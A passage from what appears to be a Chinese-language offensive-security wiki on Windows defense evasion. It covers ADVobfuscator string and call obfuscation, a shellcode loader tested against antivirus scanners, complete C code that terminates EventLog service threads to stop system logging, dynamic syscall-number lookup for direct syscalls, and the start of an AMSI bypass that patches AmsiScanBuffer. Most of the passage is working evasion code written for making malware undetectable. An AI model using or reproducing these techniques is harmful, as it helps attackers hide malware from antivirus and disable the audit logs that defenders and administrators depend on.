	NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
	
	

	return 0;
};
```

## LINKS

{% embed url="<http://blog.leanote.com/post/snowming/a0366d1d01bf>" %}

{% embed url="<https://github.com/stephenfewer/ReflectiveDLLInjection>" %}


# 编译时混淆字符串&函数调用

## 简介

在做免杀的时候发现了一个宝藏项目[ADVobfuscator](https://github.com/andrivet/ADVobfuscator)，这个项目能在编译时混淆函数调用和字符串，通常字符串会被杀毒软件作为比较典型的特征，如果我们能在编译时混淆这些东西，那么会对杀毒软件判断的静态特征产生很大程度的避免，同时混淆函数调用也能对行为查杀产生一定程度的影响。

mimikatz特征：

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MBCOhJ_NbWdfCwe23qo%2F-MBCQql8Nk5aYyerkDXE%2Fimage.png?alt=media\&token=588c5fd3-1a4d-4cdc-bd8a-3a26da80ca7f)

## 使用

在配置完之后，我们可以直接查看混淆和无混淆编译出来后的结果。

未混淆：

```
printf("hello world\n");
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MBCOhJ_NbWdfCwe23qo%2F-MBCRI-wGM6sFeniac_r%2Fimage.png?alt=media\&token=ffdbb425-53c2-4698-a9d6-de9d783ce276)

混淆:

```
 printf(OBFUSCATED("hello world\n"));
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MBCOhJ_NbWdfCwe23qo%2F-MBCST6gu_jaHIJxcv1e%2Fimage.png?alt=media\&token=c208f986-cd37-4eaa-86d8-65b0e73ae7e1)

同样我们可以同类似的方法来测试函数混淆，使用被杀烂的加载器编写方式，然后去在线查毒对比效果。

```

#if !defined(DEBUG) || DEBUG == 0
#define BOOST_DISABLE_ASSERTS
#endif

#pragma warning(disable: 4503)

#define ADVLOG 1

#include "Log.h"
#include "MetaString.h"
#include "ObfuscatedCall.h"
#include "ObfuscatedCallWithPredicate.h"
#include <Windows.h>
#include <stdio.h>

#pragma comment(linker, "/section:.data,RWE")   
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  
#pragma comment(linker, "/INCREMENTAL:NO") 
using namespace std;
using namespace andrivet::ADVobfuscator;

char shellcode[] = "\xeb\x23\x5b\x89\xdf\xb0\xb5\xfc\xae\x75\xfd\x89\xf9\x89\xde"
"\x8a\x06\x30\x07\x47\x66\x81\x3f\x2a\x1d\x74\x08\x46\x80\x3e"
"\xb5\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x11\xb5\xfa"
"\x32\x4a\x98\xce\xa1\xca\xed\xbf\x64\xec\x98\xe8\x98\xcf\x9b"
"\x17\x21\x16\x56\x77\x90\x2e\x0c\x41\x65\x19\x57\x91\x2f\xca"
"\x64\xff\xfa\xfb\xee\xf0\xf9\xc9\xee\xee\xee\x1e\xca\xc7\xf5"
"\x85\xc7\x6a\x3a\xea\x2f\xcc\xac\x69\x2f\xd7\x7a\x95\x6f\x2e"
"\x95\x68\x12\x95\x68\x02\x95\x58\x16\x95\x60\x3e\x95\x28\x26"
"\x51\x06\x6b\xed\x47\x1f\xcf\xe1\xff\x7e\x95\x72\x3a\x3a\x95"
"\x5b\x22\x95\x4a\x36\x66\x1f\xf4\x95\x54\x06\x95\x44\x3e\x1f"
"\xf5\xfd\x2a\x57\x95\x2a\x95\x1f\xf0\x2f\xe1\x2f\xde\xe2\xb2"
"\x9a\xde\x6a\x19\xdf\xd1\x13\x1f\xd9\xf5\xea\x25\x62\x3a\x36"
"\x6b\xff\x95\x44\x3a\x1f\xf5\x78\x95\x12\x55\x95\x44\x02\x1f"
"\xf5\x95\x1a\x95\x1f\xf6\x97\x5a\x3a\x02\x7f\xdd\xac\x16\x37"
"\xca\x97\xfb\x97\xdc\x76\x90\x50\x10\xf2\x4c\xf6\x81\xe1\xe1"
"\xe1\x97\x5b\x1a\xa5\x60\xc6\xfc\x6d\x99\x02\x3a\x4c\xf6\x90"
"\xe1\xe1\xe1\x97\x5b\x16\x76\x72\x72\x3e\x5f\x76\x2d\x2c\x30"
"\x7a\x76\x6b\x6d\x7b\x6c\x2e\xc5\x96\x42\x3a\x14\x97\xf8\x48"
"\xe1\x4b\x1a\x97\xdc\x4e\xa5\xb6\xbc\x53\xa2\x99\x02\x3a\x4c"
"\xf6\x41\xe1\xe1\xe1\x76\x71\x66\x46\x3e\x76\x7f\x79\x7b\x5c"
"\x76\x53\x7b\x6d\x6d\x2f\xc5\x96\x42\x3a\x14\x97\xfd\x76\x46"
"\x3e\x3e\x3e\x76\x53\x4d\x58\x3f\x76\x6c\x71\x73\x3e\x76\x71"
"\x32\x3e\x78\x76\x56\x7b\x72\x72\x2f\xd7\x96\x52\x3a\x0e\x97"
"\xff\x2f\xcc\x4c\x4d\x4f\x4c\xe1\xce\x2f\xde\x4e\xe1\x4b\x16"
"\x0c\x41\x2a\x1d";

void exec()
{
    ((void(*)(void)) & shellcode)();
}

int main(int, const char* [])
{
    OBFUSCATED_CALL0(exec);
    //exec();
    return 0;
}

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MBCOhJ_NbWdfCwe23qo%2F-MBCUjTNr6J6qfrE13KX%2Fimage.png?alt=media\&token=6bb95434-182c-42f0-98cd-46a708d515fa)

```
msfvenom -p windows/messagebox -e x86/xor_dynamic -i 2 -f c
```

查杀效果：

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MBCOhJ_NbWdfCwe23qo%2F-MBCVvgZRWtwfMEUx-ro%2Fimage.png?alt=media\&token=5eccc43b-d094-4ddb-9503-2486a1e5315c)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MBCOhJ_NbWdfCwe23qo%2F-MBCW2Mox2-sGP6amVbs%2Fimage.png?alt=media\&token=0de62b1f-bc15-43b4-b295-105e40d51ae0)

对于这种被杀烂的编写方式还是有比较明显的免杀效果的。

github:<https://github.com/idiotc4t/ObfuscationStrings-new>

## LINKS

{% embed url="<https://github.com/andrivet/ADVobfuscator>" %}


# 基于线程结束的EventLog绕过

## 简介

通常windows系统本身会记录一些较为特殊的操作，如登录、注销，而实现这部分功能通常是由windows自生的服务实现，windows 系统服务主要由svchost.exe进程进行启动和管理，本文会介绍如何从操作系统中识别并结束EventLog的服务线程，从而绕过windows的日志记录。

## 流程

1. 找到EventLog对应的进程
2. 找到EventLog进程具体的服务线程
3. 结束服务线程

## 原理

首先我们需要定位到EventLog服务对应的进程，使用windows的services.msc查看发现windows服务是由svchost指定-s(从选定组中加载该标志指定的服务)参数查询注册服务进行启动(HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Parameters下的servicedll键值对)，那我们可以通过遍历系统所有进程的commandline是否带有eventlog服务名来进行识别，主要实现方式由两种，通过进程快照遍历或通过调用wmi接口来识别。

对服务不了解的朋友可以看看[这个](/persistence/startup-service)。

```
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq-yOIzMmDilq-Nnba%2F-MHq10mUHR6-VAyFEt9o%2Fimage.png?alt=media\&token=834885dc-29ea-4b1f-a219-770ed5f9cfca)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MME2rPWiXwPdd8dKHMz%2F-MME3EyC-GvAEy0Jr3F_%2Fimage.png?alt=media\&token=5b749fcf-4adf-41cd-9601-bfa6bd6a4f82)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq-yOIzMmDilq-Nnba%2F-MHq0dNwomB4M6z6tmmu%2Fimage.png?alt=media\&token=992e7293-1103-4697-b70b-fbda5895c30e)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq41M6cvWLo18NGKhz%2F-MHq4QHnPl-X_wZ3P9Cs%2Fimage.png?alt=media\&token=6bf19faa-3c51-4a65-b722-38c931d659c1)

获取到进程号之后我们需要识别具体的服务线程，在windows vista之后的系统，具体的服务线程约定使用servicemain作为入口点，同时服务线程自身会带有一个等同于服务名的tag，这个tag可以帮我们识别这个线程是否是我们寻找的，在x64线程teb中0x1720偏移的位置存放着service tag的数字标识~~句柄(这玩意不是句柄)~~，我们可以那这个数字标识使用I\_QueryTagInformation api查询到具体service tag内容。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq-yOIzMmDilq-Nnba%2F-MHq364nIlpnqlcLBUim%2Fimage.png?alt=media\&token=dfff42f8-79a1-4f2e-b245-b413d49fa2e9)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq41M6cvWLo18NGKhz%2F-MHq4n27GD43WJdPIVV_%2Fimage.png?alt=media\&token=81e0c133-155c-4ebf-885e-2bfc97df11ec)

最后我们把识别出来的服务线程结束就好，因为转换成分派控制器的主线程依旧存在，所以进程本身并不会结束，这样就能很好的架空的日志服务。

## 代码

运行效果:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq71Gob2PwrI-RNrRn%2F-MHq7CouU7OD13TxDtlf%2Fimage.png?alt=media\&token=016510b2-3d18-4454-9d72-1ebacabfd510)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHq71Gob2PwrI-RNrRn%2F-MHq7HowN3Ju9hOE20BJ%2Fimage.png?alt=media\&token=d7759e10-5a24-4ae2-bf6d-b558ef4405d9)

```
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>
#include <Tlhelp32.h>
#include <string.h>
#include <strsafe.h>
#pragma comment(lib, "ntdll.lib") 


typedef long NTSTATUS;

/**/
typedef struct _THREAD_BASIC_INFORMATION
{
    NTSTATUS    exitStatus;
    PVOID       pTebBaseAddress;
    CLIENT_ID   clientId;
    KAFFINITY               AffinityMask;
    int						Priority;
    int						BasePriority;
    int						v;

} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;

typedef enum _SC_SERVICE_TAG_QUERY_TYPE
{
    ServiceNameFromTagInformation = 1,
    ServiceNameReferencingModuleInformation,
    ServiceNameTagMappingInformation,
} SC_SERVICE_TAG_QUERY_TYPE, * PSC_SERVICE_TAG_QUERY_TYPE;

typedef struct _SC_SERVICE_TAG_QUERY
{
    ULONG   processId;
    ULONG   serviceTag;
    ULONG   reserved;
    PVOID   pBuffer;
} SC_SERVICE_TAG_QUERY, * PSC_SERVICE_TAG_QUERY;

typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);


BOOL CheckEventProcess(DWORD ProcessId) {
    BOOL result = 0;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);
    if (!hProcess)
    {
        return false;
    }
    DWORD status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)0, &pbi, sizeof(PVOID) * 6, NULL);

    PPEB ppeb = (PPEB)((PVOID*)&pbi)[1];
    PEB pebdata = { 0 };

    ReadProcessMemory(hProcess, ppeb, &pebdata, sizeof(PEB), NULL);

    PRTL_USER_PROCESS_PARAMETERS prtlp = (&pebdata)->ProcessParameters;
    RTL_USER_PROCESS_PARAMETERS rtlp = { 0 };

    ReadProcessMemory(hProcess, prtlp, &rtlp, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);

    PWSTR lpBuffer = (PWSTR)(&rtlp)->CommandLine.Buffer;
    USHORT len = (USHORT)(&rtlp)->CommandLine.Length;

    LPWSTR lpStrings = (LPWSTR)malloc(len);

    ZeroMemory(lpStrings, len);

    ReadProcessMemory(hProcess, lpBuffer, lpStrings, len, NULL);


    if (wcsstr(lpStrings, L"EventLog"))
    {
        result = true;
    }

    free(lpStrings);

    return result;
}

DWORD GetEventLogProcessId() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot)
    {
        return 0;
    }
    DWORD logpid = 0;
    PROCESSENTRY32W pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    BOOL bRet = Process32FirstW(hSnapshot, &pe32);
    while (bRet)
    {
        if (CheckEventProcess(pe32.th32ProcessID))
        {
            logpid = pe32.th32ProcessID;
            CloseHandle(hSnapshot);
            return logpid;
        }
        bRet = Process32NextW(hSnapshot, &pe32);
    }
    CloseHandle(hSnapshot);
    return 0;
}


BOOL CheckAndFuckEventProcess(DWORD processId, DWORD threadId, PULONG pServiceTag)
{


    ;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    HANDLE hTag = NULL;
    HMODULE advapi32 = NULL;
    THREAD_BASIC_INFORMATION tbi = { 0 };
    pI_QueryTagInformation I_QueryTagInformation = NULL;
    pNtQueryInformationThread NtQueryInformationThread = NULL;
    SC_SERVICE_TAG_QUERY tagQuery = { 0 };
    WCHAR Buffer[MAX_PATH] = { 0 };

    NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationThread");
    hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
    NtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);//内存对齐
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    ReadProcessMemory(hProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);


    advapi32 = LoadLibrary(L"advapi32.dll");

    I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
    tagQuery.processId = processId;
    tagQuery.serviceTag = (ULONG)hTag;
    I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &tagQuery);
    if (tagQuery.pBuffer != 0)
    {
        StringCbCopy(Buffer, MAX_PATH, (PCWSTR)tagQuery.pBuffer);
    }
    else
    {

        CloseHandle(hProcess);
        CloseHandle(hThread);
        FreeLibrary(advapi32);
        return 0;
    }

    if (!wcscmp(Buffer, L"EventLog"))
    {
        TerminateThread(hThread,0);
        wprintf((WCHAR*)L"%d %s\n", threadId, Buffer);
    }
    LocalFree(tagQuery.pBuffer);
    CloseHandle(hProcess);
    CloseHandle(hThread);
    FreeLibrary(advapi32);

    return 1;
}

int main() {
    DWORD dwPid;

    dwPid = GetEventLogProcessId();

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot)
    {
        return 0;
    }
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);

    BOOL bRet = Thread32First(hSnapshot, &te32);
    while (bRet)
    {
        if (te32.th32OwnerProcessID == dwPid)
        {
            CheckAndFuckEventProcess(dwPid, te32.th32ThreadID, NULL);
        }


        bRet = Thread32Next(hSnapshot, &te32);
    }
    CloseHandle(hSnapshot);
    return 0;

}
```

## LINKS

{% embed url="<http://www.winsiderss.com/tools/sctagquery/sctagquery.htm>" %}

{% embed url="<https://artofpwn.com/2017/06/05/phant0m-killing-windows-event-log.html>" %}

{% embed url="<https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/>" %}

{% embed url="<https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/>" %}


# 动态获取系统调用(syscall)号

## 简介

众所周知不同的系统版本，进入内核的系统调用号不尽相同，之前对手工重写函数的时候免不了硬编码调用号，这使得我们写出来的木马兼容性不是特别好，需要对不同的系统进行定制化处理。

对系统调用不太了解的旁友请移步[通过重写ring3 API函数实现免杀](/defense-evasion/overwrite-winapi-bypassav)。

这种技术是看到这篇[漏洞利用缓解part2](https://www.crowdstrike.com/blog/state-of-exploit-development-part-2/)的启发，在windows 1607版本后，PTE也进行了随机化基址处理。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG45IlSxa8u7sAbJhjB%2F-MG46Ih0J36ckeJNNKaY%2Fimage.png?alt=media\&token=88e87189-24bb-4f3d-bae4-2e32b4f6b1c9)

但有某位神仙安全研究员在blackhat公开了通过nt!MiGetPteAddress函数中获取实例化的PTE(可能形容不是很恰当)，通过这种思路，我联想到同样可以应用于syscall，于是就有了这篇文章，不同于上述技术syscall id直接硬编码于ntdll.dll。

## 思路

1. 通过GetProcAddress获取ntdll内的函数。
2. 读取函数偏移0x04获取系统调用号
3. 编辑函数模板填入调用号
4. 编写函数指针对函数模板进行调用

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG45IlSxa8u7sAbJhjB%2F-MG46qPddUVyMspJt92F%2Fimage.png?alt=media\&token=418214a6-7aaf-4c95-85ed-45003220c0c8)

## 代码

不同于页表,ntdll也可以直接解析PE格式来获取调用号，由于我本人比较懒，这里只给出内存动态读取的demo。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG4BWl9sYAexf0BFpqq%2F-MG4BfzpcDD30YnjlsEp%2Fimage.png?alt=media\&token=49589b63-d039-4108-9fec-466baeccba80)

实现效果。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG49qOHSD5F9dJRfW_N%2F-MG4ANMzroF61cqMXgcs%2Fimage.png?alt=media\&token=12c80010-056c-4631-8458-a15a390685da)

```
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(linker, "/section:.data,RWE")//.data段可执行

CHAR FuncExample[] = {
	0x4c,0x8b,0xd1,			  //mov r10,rcx
	0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
	0x0f,0x05,				  //syscall
	0xc3					  //ret
};

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(//函数指针
	HANDLE ProcessHandle,
	PVOID* BaseAddress, 
	ULONG_PTR ZeroBits, 
	PSIZE_T RegionSize, 
	ULONG AllocationType, 
	ULONG Protect);


DOUBLE GetAndSetSysCall(TCHAR* szFuncName) {
	DWORD SysCallid = 0;
	HMODULE hModule = GetModuleHandle(_T("ntdll.dll"));
	DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, (LPCSTR)szFuncName);
	LPVOID CallAddr = (LPVOID)(FuncAddr + 4);
	ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 4, NULL);
	memcpy(FuncExample+4, (CHAR*)&SysCallid, 2);
	return (DOUBLE)SysCallid;
}

int main() {
	LPVOID Address = NULL;
	SIZE_T uSize = 0x1000;
	DOUBLE call = GetAndSetSysCall((TCHAR*)"NtAllocateVirtualMemory");
	pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)&FuncExample;
	NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
	return 0;

}
```

## LINKS

{% embed url="<https://www.crowdstrike.com/blog/state-of-exploit-development-part-2/>" %}

{% embed url="<https://j00ru.vexillium.org/syscalls/nt/64/>" %}


# 基于内存补丁的AMSI绕过

## AMSI简介

AMSI的全称是反恶意软件扫描接口（Anti-Malware Scan Interface），是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口，程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务（如Windows Defender）。

服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务，AMSI采用了hook方法。比如，AMSI会hook WSH（Windows Scripting Host）及PowerShell来去混淆并分析正在执行的代码内容。这些内容会被“捕获”，并在执行之前发送给反恶意软件解决方案。

在Windows 10上，实现AMSI的所有组件如下所示：

* UAC（用户账户控制），安装EXE、COM、MSI或者ActiveX时提升权限
* PowerShell（脚本、交互式使用以及动态代码执行）
* Windows Script Host（`wscript.exe`或者`cscript.exe`）
* JavaScript以及VBScript
* Office VBA宏

AMSI整体架构如下图所示：

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6c67vjUE1EsiAZXIkp%2F-M6c7mRlMVvopF4LZGQd%2Fimage.png?alt=media\&token=dc40f1ad-7817-4c69-8a9a-1a98471ad4a6)

简单的说AMSI就是这玩意:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6c7tgn24tc-TI-__pf%2F-M6c8YzXQpgPuHzkApaT%2Fimage.png?alt=media\&token=82274f08-1425-42e5-bb07-fc539cd4b433)

## 技术原理&流程

根据前人的研究，我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的，而内存补丁是一种较为便捷的技术，我们可以对这个函数进行修补，使其丧失判断能力，这样我们就能自由执行任意powershell脚本，当然前提是脚本文件没有被杀软干掉。

实现方式有很多种，如注入一个内存修补功能的dll、获取amsiscanbuffer函数地址使用winapi进行修补。

这里我们使用获取函数地址对其进行修补，流程如下：

1. 创建一个powershell进程
2. 获取amsiscanbuffer函数地址
3. 修改函数内存空间属性
4. 修补函数执行体

前面文章有阐述过目前windows不同进程加载同一个系统模块的地址是一致的，所以我们可以使用本地加载dll获取对应函数地址去修补其他进程的该函数。

> 根据微软官方文档，`AmsiScanBuffer`函数应该返回`HRESULT`类型值，这是一个整数值，用来表示操作是否成功。在我们的例子中，如果该函数成功，那么就应当返回`S_OK`（`0x00000000`），否则应该返回`HRESULT`错误代码。
>
> 这个函数的主要功能是返回需要扫描的内容是否存在问题，这也是`result`变量会作为参数传递给`AmsiScanBuffer`函数的原因所在。这个变量的类型为`AMSI_RESULT`枚举类型。
>
> 对应的枚举原型如下所示：
>
> ```
> typedef enum AMSI_RESULT {
>     AMSI_RESULT_CLEAN,
>     AMSI_RESULT_NOT_DETECTED,
>     AMSI_RESULT_BLOCKED_BY_ADMIN_START,
>     AMSI_RESULT_BLOCKED_BY_ADMIN_END,
>     AMSI_RESULT_DETECTED
> };
> ```
>
> 在函数执行过程中，待分析的内容会被发送到反恶意软件服务，后者会返回`1`到`32762`（含）之间的一个整数。整数值越大，则代表风险越高。如果证书大于或等于`32762`，那么就会将其判断为恶意数据，加以阻止。随后系统会根据返回的整数值来更新`AMSI_RESULT`变量值。
>
> 默认情况下，该变量处于“正常”（“无害”）值状态，因此，如果我们修改了函数指令，使其永远不会将待分析的内容发送给反恶意软件服务，并且返回`S_OK` `HRESULT`结果值，那么这些内容就会被当成无害数据。
>
> 在汇编语言中，`EAX`（32位）以及`RAX`（64位）寄存器始终包含函数的返回值。因此，如果`EAX`/`RAX`寄存器值等于0，并且如果执行了`ret`汇编指令，那么该函数就会返回`S_OK` `HRSULT`，不会将待分析数据发送给反恶意软件服务。

~~事实上对于字符串的拦截工作是在AmsiScanBuffer函数内完成的,并非在AmsiScanBuffer返回后由其他函数拦截，这也解释了为什么我们直接ret也能绕过AMSI(此时RAX内存放着AmsiScanBuffer的地址，无论如何也远大于32762)。~~

这里写的有问题，今天自己去调了一下，返回值 实际上是保存在堆栈对齐后的\[rsp+28]的位置。

检讨一下这里确实主观臆测了。

现在我们测一下......

首先在AmsiScanBuffer下一个断点。

```
0:029> bm Amsi!AmsiScanBuffer
SYMSRV:  BYINDEX: 0x3
         c:\symbols*http://msdl.microsoft.com/download/symbols
         Amsi.pdb
         C010A935E7681F4F58B28C6AA852B23A1
SYMSRV:  PATH: c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
SYMSRV:  RESULT: 0x00000000
DBGHELP: amsi - public symbols  
        c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
  1: 00007ffb`56bd2710 @!"amsi!AmsiScanBuffer"
```

断下来的时候查看一下rdx(第二个参数);

```
0:004> g
Breakpoint 1 hit
amsi!AmsiScanBuffer:
00007ffb`56bd2710 4c8bdc          mov     r11,rsp
0:025> db rdx
000002d6`892c3984  22 00 41 00 6d 00 73 00-69 00 53 00 63 00 61 00  ".A.m.s.i.S.c.a.
000002d6`892c3994  6e 00 42 00 75 00 66 00-66 00 65 00 72 00 22 00  n.B.u.f.f.e.r.".
000002d6`892c39a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
```

使用pt命令执行到该函数的ret，单步执行跳出函数平衡堆栈，然后去查看rsp+28(第六个参数)。

```
0:025> dq rsp+28
000000fb`169ce328  000000fb`169ce418 00004cd9`c14878ba
000000fb`169ce338  00007ffb`307da9f0 000000fb`169cec40
000000fb`169ce348  00007ffa`fde3e510 00007ffa`fde3e510
000000fb`169ce358  000000fb`169ce300 00007ffa`fe8d75c7
000000fb`169ce368  000000fb`169ce3c0 00007ffa`fde3e510
000000fb`169ce378  000000fb`169ce418 000002d6`88b61420
000000fb`169ce388  00000000`00000009 000002d6`892c3978
000000fb`169ce398  000002d6`88b61420 000002d6`88be2290
```

由于是第六个参数是保存在堆栈的，同时传入的是一个指向AMSI\_RESULT结构体(枚举类型)的指针，所以我们需要去查看一下指针指向的值。

> ```
> 0:025> dq 000000fb`169ce418
> 000000fb`169ce418  00000000`00008000 00000000`00000000
> 000000fb`169ce428  00000000`00000001 000002d6`892c7a30
> 000000fb`169ce438  000002d6`892c7f00 000002d6`892c7af0
> 000000fb`169ce448  000002d6`892c7fc8 000002d6`892c3978
> 000000fb`169ce458  00007ffa`fea6b645 00007ffa`ff42eb28
> 000000fb`169ce468  00007ffb`3003f4b3 000002d6`a0b99690
> 000000fb`169ce478  00007ffb`2d28b58e 00000000`ffffffff
> 000000fb`169ce488  000002d6`98b69ac0 00000000`00000000
> ```

可以看到保存到值是0x8000，也就是十进制的32768，这时我们修改掉他的值。

```
0:025> f 000000fb`169ce418 l8 0
Filled 0x8 bytes
0:025> dq 000000fb`169ce418
000000fb`169ce418  00000000`00000000 00000000`00000000
000000fb`169ce428  00000000`00000001 000002d6`892c7a30
```

继续运行。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDY2Wip4uoNwfoGfvKj%2F-MDY4C-ydwWXetikcoPu%2Fimage.png?alt=media\&token=d86f1fa9-e846-4cdc-bc89-3805936e6371)

## 手工操作

创建一个powershell进程

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cC3HueoK6ugyecsI6%2Fimage.png?alt=media\&token=6dab03c6-ac6c-4b89-9bac-d3d07b907e22)

调试器附加并定位AmsiScanBuffer函数

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCRS0yLkiYW-bVSWC%2Fimage.png?alt=media\&token=f7669fa5-f5c2-4888-b633-553d549ba3cf)

修补该函数使其直接返回(具体细节大家可以使用ida和x64dbg跟一下)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCXnqqAAaCvrxNIdt%2Fimage.png?alt=media\&token=55bd94a0-db2a-4ff6-be01-18d716311781)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCkGfgd4K_1XQSJIx%2Fimage.png?alt=media\&token=2573c57e-e2ba-4ee1-931c-1ac9d95d2dfe)

绕过AMSI。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6cAqY56uekKbUsSoo3%2F-M6cCtoePuNo_IWTKFnf%2Fimage.png?alt=media\&token=4cd9f052-a11c-4278-85a7-1d099af469a9)

## 代码实现

由于powershell版的内存补丁绕过在互联网上到处都是，且有被标黑，这里就不贴出来了(好吧其实是我懒)，这里我们其实也有多种实现思路，可以查找运行中的powershell.exe进程来进行修补，也可以自己创建一个新的powershell进程进行修补，这里采用新创建的powershell进行修补。

```
#include <Windows.h>
#include <stdio.h>

int main() {
	STARTUPINFOA si = {0};
